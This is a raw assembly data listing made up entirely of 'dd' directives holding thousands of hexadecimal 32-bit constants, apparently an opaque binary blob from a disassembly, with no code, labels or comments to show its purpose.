dd 5D3FC22Bh, 0B4F7A8CAh, 14EE20EFh, 5D9960B7h, 784E9F10h
dd 28611095h, 525826C3h, 0DB4188EFh, 676E4C2Eh, 0BE402C2h
dd 291B78B8h, 1DD121F5h, 5A1487EFh, 0C582EB88h, 2007C42Ch
dd 60B7F93Ch, 27BD7829h, 3CD81D3Dh, 2A122D04h, 1FAE04D0h
dd 0C9404203h, 8580896Eh, 0FE9E821h, 3CB363B2h, 27797BAFh
dd 0E0E91C7Bh, 0BFB6E98Ah, 99545D04h, 19526F40h, 0EA007A2Dh
dd 0EBE76541h, 16AEF7F0h, 0F2506E3Ch, 20292605h, 0E7060A28h
dd 7BC422E8h, 1C5D0B2Ah, 0F55C0F7Ch, 6BC1A80Eh, 9F944088h
dd 4E319213h, 425744FEh, 0C1C51C80h, 8F0020BEh, 3403E0C0h
dd 90284ABDh, 0B7E95548h, 25F047BAh, 2C74E8E0h, 5E596626h
dd 58A779AFh, 3E5AB8E9h, 0ED007AB6h, 27442AD7h, 0CAF1C501h
dd 0E580886h, 2C2F91BDh, 0F358CD02h, 68272590h, 31BD7AF4h
dd 0CD19E34Dh, 3C964159h, 0E5303A0Eh, 0B86674EFh, 3BA6FC64h
dd 0ED590126h, 0DE0FB23Dh, 4592E95Fh, 0FCD831ABh, 40AC4AE0h
dd 21C15CF2h, 0E1253A35h, 5D873EA9h, 0B877398Fh, 0D77F8A2Fh
dd 9EF0BD60h, 0E10F17B4h, 25378445h, 3076C1BEh, 0ABCC6B11h
dd 0E78F69DEh, 99268E7Ch, 5ECCE9D8h, 94ABA3D9h, 0BF3620D2h
dd 0AF3B6731h, 0B60ED989h, 0B1941784h, 84E40F4Bh, 2EDA515h
dd 11DF66C9h, 3989147Ch, 337E5468h, 0C88297C5h, 6352D634h
dd 74E3F381h, 37E91813h, 3E0560B0h, 0F854FACh, 0C2DF001h
dd 0E93D5E07h, 58CB9765h, 71578B85h, 0E5A73EBCh, 592A900Dh
dd 364A7C68h, 66034E3h, 5EFD1AE5h, 2934297h, 70B2E907h
dd 132C2E1Eh, 8C4A3CECh, 23092E18h, 804973E1h, 0B51C9F70h
dd 7C314C11h, 0E5D3012Fh, 89D0290Fh, 4CA329D7h, 4E70F823h
dd 0F68F9040h, 1F4B6B3Dh, 16014EBDh, 0E971C72Dh, 0B135821Ch
dd 0C0E18021h, 82BB9B97h, 402D0ED6h, 2926512Ch, 0B931025h
dd 0FF729AEBh, 0E7D1C304h, 68023152h, 1279334Ah, 50BEA9Eh
dd 0FB0A2036h, 0B0174E1Ch, 26E27CD6h, 50DAF7h, 1F733CCDh
dd 0D997FA29h, 0D2F78B95h, 97BAFF00h, 29125B02h, 0FAF05AD6h
dd 1B472014h, 8824F90h, 2150B25Ch, 0D1E5B5F9h, 0E402F027h
dd 75B45A1Bh, 0F539EA70h, 1323AC70h, 0F2728F36h, 150435D0h
dd 61D7D282h, 0C1049883h, 0DFDE1Ch, 3DF9E668h, 3E1B9739h
dd 66018317h, 4D23F581h, 0CDD80C6Fh, 0FF7D17C8h, 4051C046h
dd 1163A655h, 0B2D7499Eh, 5DA3E1C2h, 6D21178h, 0BD037E1Fh
dd 2D11C104h, 27F0EB5Dh, 7266B5E6h, 5920EEB0h, 92CBFC64h
dd 40BA0648h, 0D26B9E07h, 0EA546317h, 99842404h, 0E719AEADh
dd 2429BAAEh, 5909CF48h, 0F902C783h, 4BB2A7C1h, 49A8E445h
dd 8F27323Eh, 0DCEED101h, 6C385482h, 7A645D35h, 0A4C0C600h
dd 0F30134C2h, 85824BE9h, 231647h, 0F61D1F9h, 0AA0BBA23h
dd 0A26560C6h, 5AC1FF6h, 0FE6E8CBEh, 504E8948h, 70123613h
dd 5AE4CA4Bh, 7D7602C3h, 25E94DF5h, 4C2F5856h, 0D8D083D9h
dd 9D2E9109h, 8F208658h, 49BAC39Bh, 2999E65Bh, 0E27F20F1h
dd 7D30034Ah, 0C07AFDh, 5FE58142h, 0F7552D04h, 102D7898h
dd 49851A90h, 817E3B79h, 57C9D3Fh, 6A7BF5E3h, 40461792h
dd 729A3A9Bh, 0B9FBE32h, 1904131h, 5E7AE62Ah, 4AA270C8h
dd 0A59EEC2Bh, 36C4E6B7h, 82580B09h, 4CB48FEh, 0C039BB5Dh
dd 212A2731h, 3B98C85h, 100285BAh, 0F90A8BDAh, 0F9D649CAh
dd 515FA819h, 3515B73Eh, 0CD839683h, 0E1A7042Eh, 0AB864A0Bh
dd 6219E100h, 2D415AB2h, 0D70D1F7h, 0BEC4C5B5h, 512F40F7h
dd 0E288521Ch, 0FC14D197h, 0B0D24C6Ah, 9C66FD30h, 29446C83h
dd 1F848B5h, 4E5279FBh, 0F173408Ah, 730B2DB1h, 860AC890h
dd 879014BDh, 6693BA24h, 0EF5808D6h, 2815228h, 847B9EE9h
dd 13D2E749h, 0C766BCC7h, 2CE9FA5Fh, 435434B3h, 1731DC18h
dd 0FB873982h, 2D208160h, 9A603B5Eh, 0A7161AD7h, 0FAD0314Bh
dd 3C5008E4h, 0B6D0F76Bh, 5B8CF8FCh, 0E107002Ch, 7D47AE4h
dd 62E910C2h, 0EFD4593Ah, 808644EAh, 8007ECC0h, 6CF05F4h
dd 0ABB6C96Ah, 3C2E5C22h, 0CCCB5513h, 0E8B297ADh, 6933D197h
dd 5E8282EAh, 4664D2ABh, 97C2B24Ah, 4B907D31h, 0A9831729h
dd 2B807AFEh, 37278668h, 8DF85D1Ch, 5318CF9Eh, 3A48BBF0h
dd 0FA003891h, 813D0C7Fh, 16195BE3h, 950721Ah, 7E7B5C03h
dd 0FAD8E4Eh, 0C8D6A7DCh, 1275C446h, 0F3195068h, 7D6F1BF6h
dd 6065E71Ah, 572660BCh, 48893884h, 4F011F95h, 411D3D1Ah
dd 0A106FFh, 31347ABBh, 323A2EC1h, 0D1616F2Dh, 0CA2F3C27h
dd 7E61209h, 63418FAh, 0CA4AE905h, 0D7F7CB04h, 2C7E2380h
dd 0A10F4A37h, 18E3E7B1h, 2A3F44F1h, 9375A94Eh, 9E6ABDA4h
dd 0C4680576h, 95B04614h, 0AB21ED7Eh, 9A59AD60h, 2FF6E9C3h
dd 0F08458D3h, 0B09EE7Bh, 70F5CC1h, 0E59EA28h, 324E879h
dd 698B157h, 287E7A49h, 0ECA054AFh, 0AA83F19Eh, 9CC3AB01h
dd 442A969Fh, 9235F979h, 0C4F51F12h, 2F12C578h, 0D0A7ADEEh
dd 0C9F825C4h, 0E12BCD90h, 689D85DBh, 4D2161CBh, 0E92865E9h
dd 27EC800Eh, 6B9EB66h, 0EA602B64h, 89256805h, 7A757A1Ah
dd 27DE39FFh, 9EB15E67h, 2646130h, 0B20FBD1Dh, 0F7D1E29Bh
dd 40B9E909h, 4BEAC0AEh, 700F206h, 7BB25272h, 0F68DC260h
dd 0C9E925DAh, 14F5B142h, 0BE681396h, 1012E32Ch, 5558EB57h
dd 0BA0D3107h, 4E8E5C8h, 49166CAh, 27FF5753h, 0E2FBF799h
dd 8E7C7FD2h, 4A636841h, 0EF99AE2Ch, 6007C082h, 332B3095h
dd 0D62C8089h, 7FB15113h, 1328E608h, 940D005Fh, 0C12C6970h
dd 7C02E530h, 251041Eh, 5FFD2120h, 5240D5F7h, 0A27B1E8h
dd 0BD555678h, 0B805B420h, 2554422Fh, 2994F584h, 8BB39CAAh
dd 7757CE40h, 0CB705959h, 7EE55A27h, 2066CC2Dh, 0E917726Eh
dd 51A42FA1h, 25C1E70h, 0A14ED711h, 778F2BDBh, 0DF895702h
dd 0D2AA53E9h, 769DA8A7h, 968CDDE8h, 9452A9C2h, 99D44F6Dh
dd 4B5ADDB0h, 0BEC164EAh, 75C93985h, 0B00F7968h, 0A418556Eh
dd 8613135Fh, 9AE92D01h, 0D43B3B51h, 980FBA7h, 0A882FAE9h
dd 0B055E7ECh, 0C9CE4F77h
dd 0BF43A3Eh, 1F67BCFCh, 8C6B1768h, 0E5F3D62h, 0C9E4008Dh
dd 663E2751h, 7C705FFCh, 0D5A50927h, 6AC8F989h, 0B380A23Dh
dd 0DD082C37h, 0E5C00EB0h, 33760ED2h, 1907E2C4h, 8F31FE04h
dd 0D526B03Ah, 5FB1DB0h, 34CC44FFh, 63C7AF32h, 0E6A496E4h
dd 0E4335448h, 0CCF15AF2h, 2498565Fh, 0F78AA0B5h, 765859F8h
dd 2FCF0030h, 0E971E00Eh, 22DCDD88h, 8766CB09h, 0E307E485h
dd 2C595863h, 7A52B10h, 5FD4F605h, 0F5F065FDh, 0A08DE820h
dd 807A7C43h, 0A50F6852h, 666D0A26h, 9F17A1E4h, 0FBFEB2A9h
dd 21D5C382h, 1CED58A5h, 4505E0C1h, 0C11D407Ch, 88ADF868h
dd 88641EE1h, 1177ED4h, 22BF1213h, 0CA772D87h, 200A5AFEh
dd 0C2A0B5F0h, 8C1752C0h, 5FE9054Fh, 5DCA0750h, 0BB27C00Ch
dd 897D936Ah, 97F94617h, 144EAC93h, 8113F7F9h, 0B02AEEFh
dd 59F82150h, 18E862E8h, 7D3BE055h, 0DAB48658h, 95960D6Ch
dd 3E203550h, 0A4F65A03h, 7650E169h, 715A2C63h, 0FCF5D1A0h
dd 17C93B29h, 45D3E50Fh, 7B811449h, 0DA80408Ch, 0FEBE9585h
dd 0F6E24D34h, 8C31FBD3h, 417EBDE9h, 78B4F5FBh, 0EAB442ECh
dd 7F061AD5h, 0BB204A96h, 0EA9AC090h, 0AE9F379Ah, 5EF23105h
dd 99ACD121h, 9E9C1C7h, 38F211D2h, 9C615581h, 0C374E801h
dd 6858202Ah, 45956282h, 0CBE90D5Bh, 0C36B30C5h, 9BB0640h
dd 0CE13EF0Eh, 0A4320FD5h, 0C9AE075Ch, 7B5A78CFh, 0A5DC192Ch
dd 0D42A4252h, 58F3A886h, 5DC4811Dh, 8BB9F95Eh, 9DA65A5Fh
dd 80D97661h, 4171EB51h, 0C4310BAAh, 0B29C8E1Ah, 7C9D4290h
dd 54181B2Dh, 54B360E6h, 4B907051h, 34D53F32h, 0EBF660B5h
dd 1E06D359h, 9F963FD3h, 2C83FD12h, 0EE685273h, 879515Ah
dd 0BE01DD92h, 68C57E5Ch, 2C8BD0C4h, 1335997Fh, 4F26E85Bh
dd 0E98513B7h, 2549FE43h, 0D89A005Fh, 0FA618E79h, 0D0E34AE2h
dd 0CD8107CFh, 545C690Bh, 122AF071h, 77B07Eh, 6BCB7C2Ch
dd 729D21C9h, 456A0F41h, 0F3E02A24h, 9C4FCED9h, 0F29CE698h
dd 0F64CF2A8h, 0B1DD8432h, 0FAEAD104h, 288694D4h, 94C5FE04h
dd 8CD5992Dh, 0FC748608h, 0F5CEBDAFh, 1F9913Bh, 0D71060E9h
dd 568B7DA5h, 53C2D654h, 0DB680709h, 88F5511Ch, 0F8259330h
dd 4E4B74DBh, 816BAC27h, 7E236808h, 85482923h, 8EF82D41h
dd 577B973Dh, 19AEE904h, 8704C412h, 0B37A2CCh, 50E7417Eh
dd 0FAD7A7C4h, 58311169h, 0C67323Ah, 0B4018324h, 0DAC48045h
dd 2CFAB161h, 65F3977Dh, 25A1B279h, 6EF6060Dh, 5B09E9F0h
dd 4CDBB313h, 80F60718h, 0DAF42EECh, 285C61D0h, 7F6813D8h
dd 0D72FBC55h, 78E8D82h, 12F87F5Bh, 0D291A4C7h, 9E94FD49h
dd 7451E917h, 76849340h, 481E3Dh, 2ED32B05h, 7485E927h
dd 9D0F669Dh, 0BDEDEB2h, 7D3412CBh, 2CE99A21h, 2B402AF5h
dd 26845C29h, 7E10981h, 0B87215Fh, 0B2C4F9E9h, 0DE58BA09h
dd 0E890537h, 0B94B24EFh, 0F19497ABh, 8B5BB9B8h, 963A4CA7h
dd 0FDE98142h, 8994F11Bh, 0E0FC9130h, 2F686650h, 33424229h
dd 50C12D54h, 0E13A91B0h, 0C2DF7C03h, 0E3F655B5h, 949F635h
dd 64276896h, 0A179571Ah, 0A1A67F32h, 7FEA80CEh, 0C4AF4DE0h
dd 0DC555A10h, 174CF319h, 269A8BD3h, 0B4681DDh, 317A51A3h
dd 0CD964F84h, 0CBB5ECF9h, 0C14793C6h, 11CE0233h, 4605A00Eh
dd 7177D560h, 23BFA2Dh, 0DFB934C6h, 0E9090C95h, 560FA590h
dd 803A03B1h, 0D32D0AC4h, 0EBA0F19h, 0E56A290Bh, 1981412Eh
dd 0F6347E9Dh, 602D0292h, 0B4500F25h, 0A15A9386h, 0E0B62F2Fh
dd 20F80C20h, 31F9DB97h, 63B0F919h, 58882FD2h, 216D326Dh
dd 1FE0F3BFh, 2F62AFCh, 5860049Fh, 0F9964CF3h, 5FF438AFh
dd 0F624CBE6h, 0D770A7AFh, 6817DBEEh, 49314234h, 0A69223B4h
dd 38BAB4C5h, 0B20531Eh, 21DA80C9h, 1DD468E0h, 0DC5B5533h
dd 26B55C9Ah, 9735A952h, 0E9049051h, 9DBA0DDCh, 0EFADEC1Ah
dd 99F81A6h, 1B3B0480h, 0F78F3DA8h, 2D325129h, 3388287Eh
dd 0B072607h, 2A82C23Bh, 9CFF8048h, 0A5319D59h, 0C7EC5420h
dd 950FD142h, 6EA12F86h, 14138868h, 4872A28Bh, 20E10701h
dd 0CF941D23h, 1C6BCBABh, 0F0985EFh, 9AF8006Fh, 6207654h
dd 0E6C1DEF7h, 0E9150A04h, 786E1660h, 4E120A5Dh, 0B428542Ch
dd 84E27ABh, 1D24537Eh, 6E42FB1Fh, 20F56610h, 9571C7h
dd 8B1A37FFh, 0C8628A7Ah, 8016DB79h, 0F74B0A42h, 0AB8580D3h
dd 96DA09E6h, 0CE5327F4h, 821FB583h, 0BCF48D29h, 4B19BD90h
dd 5B7B808Ah, 4BF66852h, 5A462882h, 69F307BDh, 0D4E94FBBh
dd 8799EF2Ch, 0B9E283E8h, 9DB6AA95h, 77A0F440h, 3C586680h
dd 0D3A5D928h, 0AB5E3484h, 5124168Bh, 0D1CB420Fh, 0F00D2E4Ch
dd 28C1215Eh, 4BCBB73Fh, 0ADC66EFDh, 2D07659Dh, 28761018h
dd 854EDB50h, 0F0C4D6CEh, 254BB001h, 8003F0E9h, 0D9F6ABC9h
dd 300E90AFh, 510359C8h, 0BAE922B1h, 0B2C95BF0h, 70F21058h
dd 0BED697Fh, 0E1E349BBh, 804E194Ch, 51464C0Eh, 5DDC012Dh
dd 0F0292E5Eh, 0B0074605h, 67229A00h, 0E9525323h, 0A8974A84h
dd 0B2C7A740h, 0C50BA3D9h, 70EA82D5h, 97A3FCD9h, 5CE4DD7Bh
dd 0F77181FAh, 50A96DFh, 82E414ABh, 493A2570h, 2A5F7341h
dd 52876B16h, 0FDF15855h, 0A183FD3h, 5BE6C02Ah, 4F8ACB01h
dd 444F4BB2h, 0BF129A6Ah, 1E129EDBh, 1F61B2B3h, 4D9C18B1h
dd 922CC80Eh, 67ACFB12h, 48869D5Ah, 724123C7h, 0B0C79330h
dd 826838FDh, 8F402BCCh, 0B9D94A35h, 7FF7DEE0h, 60D8F702h
dd 3E7B1A15h, 4BAE208Fh, 4D5F8904h, 6B60F100h, 26C26A85h
dd 0C03F50E6h, 9D07F482h, 2962327h, 0DF60F68h, 15129C24h
dd 93D02AF8h, 60EC8FB2h, 6374B881h, 66B31CA9h, 4B39D81Fh
dd 352EF4E1h, 0D4B008CCh, 5D4D6805h, 9D570A8Ch, 5F77CCC4h
dd 9F059192h, 583F2C46h, 58BAEC2h, 3D3C810Fh, 570374ABh
dd 3685502h, 5C2BEE0Eh, 0AE7458D0h, 7BB1B3ABh, 0FBAF89A9h
dd 0A842805Fh, 796A806Bh, 0A0C3F001h, 970B8B08h, 0E985D959h
dd 0BEC89641h, 0CB5C129Dh, 6C5A0014h, 5133CDD6h, 0C048E912h
dd 78F9AD49h, 8BBB9DA4h, 3FDF8ED9h, 635DA622h, 0C6FA49h
dd 0FEC0E580h, 754BCD5Ch, 169F03EEh, 92A125F7h, 2E68A610h
dd 6CCA6A17h, 35DF101h, 3C70A235h, 0B5DFE4C3h, 0C46BF459h
dd 0FE3E202Dh, 98EC294Ah, 1FF81884h, 0A6ED7CCh, 6D6EBD50h
dd 208BC59Fh, 45DE41F0h, 0B6E7F4A3h, 0FBBC6E4Eh, 9737C4A7h
dd 6EA552D0h, 2490A446h, 7181A725h, 0A043886Ah, 5EADC82Ch
dd 0AB0C351Eh, 0C6E92DD0h, 0E0E2949Eh, 2F736856h, 9437C925h
dd 0EB1DBCB0h, 3100C87Eh, 0E9747A34h, 0BF519EB3h, 0E6CF63D8h
dd 2F6809D0h, 6536566Bh, 5F58D3F9h, 105FB7B2h, 722C028Ah
dd 0EA187C43h, 4F3FC0CDh, 5A1FF06Bh, 3901FB90h, 5976B767h
dd 4B1D1F7h, 0E97A5B76h, 3C084079h, 3B2EC24Dh, 823CDE21h
dd 942905E2h, 74687551h, 86E2FBF2h, 0D189BA12h, 27E9DF2Ch
dd 0E9F922ECh, 44DB5C69h, 2BD1E1E4h, 0A85AFCCFh, 24EEB5ADh
dd 1818B78Dh, 0F74FB190h, 5BB3F28Ch, 4F27A931h, 6F6235F1h
dd 26F48FC9h, 5028A73h, 2241AA59h, 585B2B0Fh, 0D5ABC5DBh
dd 0A7F409BBh, 27E69029h, 76F82931h, 0F63258C5h, 0E8E9F613h
dd 1CC25DCh, 283868D4h, 6B628F6Bh, 8027C084h, 2CD73C7h
dd 5F2CFAF7h, 8989F828h, 0F9659B48h, 0B8F5F9C0h, 0F6B92EDAh
dd 3FBC6089h, 0D888B4EBh
dd 17B25B09h, 28A90230h, 40C97FD3h, 0B82EC23Bh, 1351DB10h
dd 44C0DCB5h, 0EECAF1D5h, 2A6890C8h, 4BF14B6Ch, 590E0257h
dd 0DD80C729h, 7ABC165Eh, 0C31324B3h, 0B824508h, 0E57E888h
dd 8BBB28Ch, 5B1B2051h, 7FB2C12Dh, 4B5AD5C0h, 0BE039428h
dd 975CD788h, 0B8E21051h, 0E494FF6Ch, 57829071h, 0DB5C6290h
dd 64FD5381h, 84ACB42Eh, 43CB193h, 73E24935h, 24B4FDF8h
dd 0CD25EA31h, 2EBB8152h, 4B7C5CC6h, 2768916Ch, 289258DBh
dd 61015474h, 0ED8149A2h, 0A04B402Dh, 0BE055662h, 75F36839h
dd 0DD3A5CBFh, 3D2801B0h, 89AC5FE9h, 982E35E9h, 0FED788EFh
dd 1EE16072h, 2EAC05Bh, 2AF721E7h, 0B8339DE1h, 0F9EBCD4Fh
dd 0AA823F8Dh, 8696FD01h, 2C08313h, 4B4846CAh, 792AC44Eh
dd 49617A93h, 3F23BB58h, 0A79D3078h, 607C61CDh, 0F6B9375Ah
dd 6521FA93h, 0E03F474Fh, 22135AFDh, 6D0119ECh, 70504426h
dd 5C150C84h, 8B14811Ch, 662D00D3h, 0D110E18h, 2B60D0F7h
dd 5679B1Bh, 337C8C04h, 36F30155h, 2E59DC54h, 8C43861h
dd 5716BF6Bh, 0EE052E04h, 2E55DE18h, 5B12D51Fh, 8C552D17h
dd 525A1DCBh, 77CEC65Dh, 0EBA8F238h, 0BF6B5014h, 0A6AD0BDEh
dd 6853D198h, 0FC787420h, 1DA295AAh, 6D7F4DA0h, 0BE531633h
dd 85FEAB0Bh, 13AFF105h, 7968EF67h, 6024985Ah, 0CEC9C570h
dd 3C5E231Ah, 750611C6h, 0EDA22503h, 110C2DF3h, 69849B54h
dd 1F581CF4h, 5C24DB4Bh, 7F099004h, 0F61AB201h, 84020D2h
dd 0E56034F8h, 2365EE75h, 127AE36Bh, 7F0BDDBh, 6D99747Bh
dd 0E2D65196h, 9812F02Fh, 6C600CCFh, 0D80D3F30h, 0E91BCF09h
dd 1787097h, 4C2673BDh, 0F028290Eh, 0FE9C2CDCh, 0A787E153h
dd 11E08F4Dh, 0CD95C0ADh, 6FF14BBEh, 0FB09B998h, 0DC7FF74Fh
dd 4BE52947h, 9246C0A2h, 4956BD00h, 0DD404878h, 0E9F40325h
dd 0B044EBAh, 3109FD1Ah, 5DFEB582h, 0E66336F4h, 856B9766h
dd 6AD4D8A6h, 1353DBBFh, 38FDBA88h, 0B19800D2h, 28F32C9Fh
dd 2BE9C879h, 0D8EC4E99h, 96B32C53h, 0B9091607h, 69E91337h
dd 1D80DA5h, 37299DB2h, 0D0B57E50h, 0C149F34h, 0B3A650B5h
dd 18418BC9h, 2DA7BF5Bh, 708843EDh, 0B801CF71h, 3C5F01CDh
dd 84542561h, 92418BEFh, 0BCADE753h, 0FF336850h, 9B20405h
dd 0B86605E0h, 896A04AEh, 7E8BBAC3h, 60EDD810h, 0A21D5D66h
dd 0B213F6DAh, 0D7F72EE0h, 9D780B41h, 907AC68h, 0F67E3625h
dd 99F288Ch, 66FA4676h, 0D7E89F84h, 0B8ED64B9h, 13985E25h
dd 389650EBh, 0FBF705E7h, 0C1CE01BCh, 325EF348h, 69310C4h
dd 6716423Bh, 84CDBD79h, 6805900Dh, 0A034EFF7h, 120127C0h
dd 734B4Dh, 0F0C581C8h, 0CBB02EDFh, 0EEC5384Ah, 0C2A417B8h
dd 0F220E8B4h, 0FD3A7AF9h, 40C4803Eh, 71250F35h, 8B3C4020h
dd 73AF2F1Bh, 809BB4Ah, 22B9F0Fh, 0C91415Bh, 0CB6D029h
dd 7CB460F1h, 38824C94h, 61408EEEh, 0E528A73Bh, 0A8F1D39Ch
dd 0F95E27EBh, 0E5D1038Bh, 0EF93FD31h, 44E90812h, 0BA9BC4h
dd 0B652FEE2h, 0CF580102h, 8208411Dh, 9F45E11Ch, 58C7F656h
dd 0C1802A0Eh, 430828EBh, 0BF422CF8h, 0CB310A8Ah, 5BDA07D3h
dd 0F0749B68h, 32A992B4h, 4D25CC5h, 0FC68587Bh, 6CF89345h
dd 406E579Fh, 0D962BE53h, 125ABEEh, 54475AFEh, 7BB97B1h
dd 9F95A70h, 0C3C7B24Bh, 0A5C3B8EAh, 4D4AE4C2h, 55600DDh
dd 509FF748h, 16E5FCC2h, 0E0030262h, 8A2EDE5h, 0D0602390h
dd 4E06AB83h, 9C20B0A5h, 7DEF741Fh, 0BD84F712h, 71661ECh
dd 0DE5DB872h, 0C9BD284Bh, 163AD565h, 32B2B85Dh, 788FE25Ah
dd 0B9474E7Fh, 0AE56078Eh, 95E4C9E0h, 9505DCF0h, 5A48D2F2h
dd 65582F29h, 0EDD62715h, 0B67AEE2h, 302581D8h, 50F1F4C2h
dd 48BE5FFDh, 2A563192h, 0F210AEB8h, 655D2EEAh, 22D39ECFh
dd 0C38526A8h, 8DDA404Eh, 1A688704h, 0DF8C534Eh, 1687D26Bh
dd 8269AE8Dh, 9142AA20h, 89C901AEh, 315CB210h, 30E86120h
dd 0B3A54B9h, 0B84AF02Bh, 82A401F9h, 0B27F0344h, 0DEB46AE6h
dd 7A1A6D45h, 5E90F480h, 7B2A4886h, 0AE1D4A05h, 0C0D1EC01h
dd 0F9315EF7h, 40CE905Fh, 0E13980D5h, 0F5C197DFh, 5B12CDF8h
dd 9A40BC52h, 26A681FAh, 16F43E9h, 572CBB87h, 0E855F25Fh
dd 0B566DEA5h, 0A5888879h, 22B90189h, 0AC5B8A0Ch, 0E30B5AD8h
dd 971CFCA4h, 0B233B81Ch, 0B9D2C154h, 0DAB75300h, 7ACF8014h
dd 257C20FCh, 3CFEE6D1h, 4DB8C681h, 55301F88h, 6B2B16ACh
dd 0D02F1710h, 230DF5D0h, 2688F3Bh, 4635F9E5h, 24984049h
dd 0B7FD01CEh, 440FBA05h, 2DFE6053h, 76C007A2h, 22B51215h
dd 780FDB5h, 0A341EE0Ch, 0C6345A2Ch, 742601FEh, 0DA253D0Bh
dd 539EE21h, 0FB293ECEh, 0F460E55Fh, 1FC122Fh, 0C0CDDA5Bh
dd 12093D20h, 3133D5Ah, 0CC6ED412h, 88C58494h, 321F2D9Ah
dd 9DC83631h, 0CB010CFCh, 56F8CA56h, 8325727Dh, 80D8D1AEh
dd 5C842AE6h, 79977C29h, 5D0CA05Fh, 5505C45Fh, 0E00B5138h
dd 7918BAA4h, 0C1D2964h, 1690043Ah, 0BB673BE9h, 8E3BBF2Dh
dd 200C20FDh, 6816B699h, 8EDA1FB4h, 68B02C4Ah, 0B81A749h
dd 287DFBE9h, 5508B58Bh, 0F1800706h, 0D7CEF4E7h, 0E3F4800Ah
dd 587BE288h, 30C44D25h, 94039369h, 91E9C1ACh, 212689AAh
dd 4676A9F8h, 0DA1BB545h, 12103058h, 0CCE38CD6h, 0F6E28681h
dd 510893D4h, 6530DB18h, 20899F8h, 52A17B4Fh, 0F2188BC3h
dd 2518190Ch, 0B427487Dh, 0BEFC6412h, 0B635A929h, 0E985AA28h
dd 51BDB07Ah, 0C0BD94B2h, 3A73D13Fh, 0C292533Eh, 0DE3DBCFBh
dd 7F39EF05h, 763A32C1h, 7BF86800h, 2B8469Dh, 41C75FE8h
dd 3CD677E9h, 2CBA5B13h, 0E324E9E7h, 0E5960764h, 0C80F68Dh
dd 63E81634h, 8C995CE9h, 7E17A789h, 6F418882h, 0FC74D027h
dd 2C229A34h, 39DDE2C1h, 0B72726BAh, 696BED0h, 0D1378A5h
dd 0F824C1CAh, 0D124A754h, 0F1098A52h, 0CF096FCEh, 1E5FB2C2h
dd 0EEE91417h, 93D394ECh, 73C61530h, 0B805D803h, 0E12FED6Bh
dd 8C3E119Fh, 4E00BDD1h, 0BF79AB6Eh, 0B1F0F3Dh, 0CF5E993h
dd 90671477h, 0A0130BDh, 0E199C31Bh, 31BE9D0Bh, 0C208F6D8h
dd 9475B683h, 779A9564h, 7AA35FC1h, 906D73C8h, 9D3490F9h
dd 2C923368h, 4B6F211Bh, 0B4BFF06Ch, 0DF012E4Ah, 6DCD3E69h
dd 4A43CB5Bh, 0BE564E80h, 17417F18h, 4217E94Ah, 2DD8011Ah
dd 5B23A9F7h, 0CBDD09A8h, 6AB5EAD9h, 63D7CEBFh, 0E5E9571Dh
dd 6FD8F6B5h, 0EDB1FBh, 1D76696Bh, 25DEFC1h, 5D9A0526h
dd 62850107h, 86186ACBh, 57094D94h, 122C1C48h, 14D76390h
dd 0BF7E992Fh, 5C1E5BF4h, 905A5436h, 791813F4h, 26E9FC17h
dd 8308F3A1h, 0F5422798h, 580E23F0h, 5D7A4E5Ch, 66EDCEC3h
dd 7E7C242Fh, 0D2F78634h, 0EF055287h, 8D7DED14h, 893D14B8h
dd 0D382B2CFh, 0B026C6E2h, 5256AE45h, 19087B7Ch, 258B1F28h
dd 0C3E09E5Ch, 519B151h, 0E9E4EB80h, 4E36AC66h, 79D21E77h
dd 0D544D714h, 4E5DD7A0h, 35629A00h, 770C634Ch, 10B7090Dh
dd 0F7F67FF3h, 1F12FF26h, 2C3BF5DDh, 969E58B7h, 0B264F580h
dd 0B531D189h, 0FEC3F161h, 0C1D5B057h, 0A4688062h, 8D996C5Bh
dd 0E968706Fh, 5A910727h, 9A5D18BCh, 8A756C3Fh, 0BE012B7Eh
dd 216D7CD2h, 0FD19A13Ah, 0EF2901DDh, 77ED8740h, 5B6D7D66h
dd 5ABB01DBh, 3324B368h, 92523F86h, 7B4B7560h, 0EF2B85C7h
dd 0DC6B4EB7h, 965FCCCAh
dd 0E6FC2008h, 0A550D3B7h, 0F71E39E2h, 0EF87474Ah, 2FFEE7A0h
dd 3F6595F7h, 727152B0h, 0E93B0B67h, 2FFEF8DFh, 0CA448BE5h
dd 35BF67AAh, 4672B3CEh, 2BC751B3h, 7B677413h, 0B0E0B8B4h
dd 0A4D24A5Ch, 6140E457h, 5489ECADh, 0EE68CF7h, 35075E09h
dd 68E8F6C0h, 9C903145h, 0BDC92300h, 5EF201FAh, 0A2EA5B83h
dd 0D11A15A7h, 39FB783Bh, 0C3C1021Dh, 84730D05h, 61E8A5D5h
dd 0B4410B93h, 0D50A1A5Dh, 4FC40194h, 0A0CD0F39h, 5F4A8D30h
dd 40B3B7D0h, 51B572B0h, 96FBEB27h, 38EBC316h, 0D3605C79h
dd 34EC6B9h, 9AA2F7Ah, 42FE1AD0h, 50EFD9Ah, 265F7C7Fh
dd 7D04D0F7h, 0F5650B2Dh, 29004873h, 3EC8143Ch, 570926B4h
dd 52F4FCFEh, 7D276E40h, 9D81D39Dh, 3F3B9768h, 265630B4h
dd 9ECE9CE9h, 0B4605ACAh, 0B680915Ah, 0EE8007EAh, 0BEF4281Bh
dd 907BCCC7h, 1EE98EECh, 7843A84Fh, 0CCD858E8h, 0DE26C8AEh
dd 606D0D19h, 24820212h, 18D43622h, 561F8FFEh, 0DA6B460Bh
dd 0A606BDAh, 0E904B06Dh, 98EF1931h, 0DDAA512Fh, 0BDDAA8FFh
dd 7CC21A09h, 32F5495Ch, 0CBFDC5Ah, 7877E39Ah, 9FEC788Ah
dd 68098660h, 0EB899818h, 80F4662Ch, 0E6CACB28h, 1C90CFBBh
dd 32E9FA8Fh, 1B0B25F0h, 0E870CF37h, 82E66C81h, 0F9DEE005h
dd 773D3045h, 2D4507B8h, 2EF493FAh, 0C231672Ch, 5056DABh
dd 0FF63237Bh, 25426930h, 817B1305h, 0D2D2B844h, 1D86BFA8h
dd 0E32ED5D8h, 0CE020E06h, 77144B7Dh, 56242794h, 0F6172D50h
dd 35617F30h, 0C11D7D0Bh, 725451D5h, 0F589602Fh, 0E95807A0h
dd 0F4183A25h, 0A0FD65DDh, 227E35D3h, 316DCF01h, 646858C2h
dd 305DA47Ah, 0F3ACFE5Eh, 0C2E534E7h, 0C7D299DEh, 6055A00Fh
dd 6BEA6663h, 23CA0437h, 0C056E142h, 0F773B7FCh, 0F3C46AEDh
dd 0D95693ECh, 6476532Eh, 0B455BC1Ch, 5AB74EC8h, 5C9F2368h
dd 0BD669507h, 0F495D81h, 3632AF0Eh, 7ED10212h, 0F878B853h
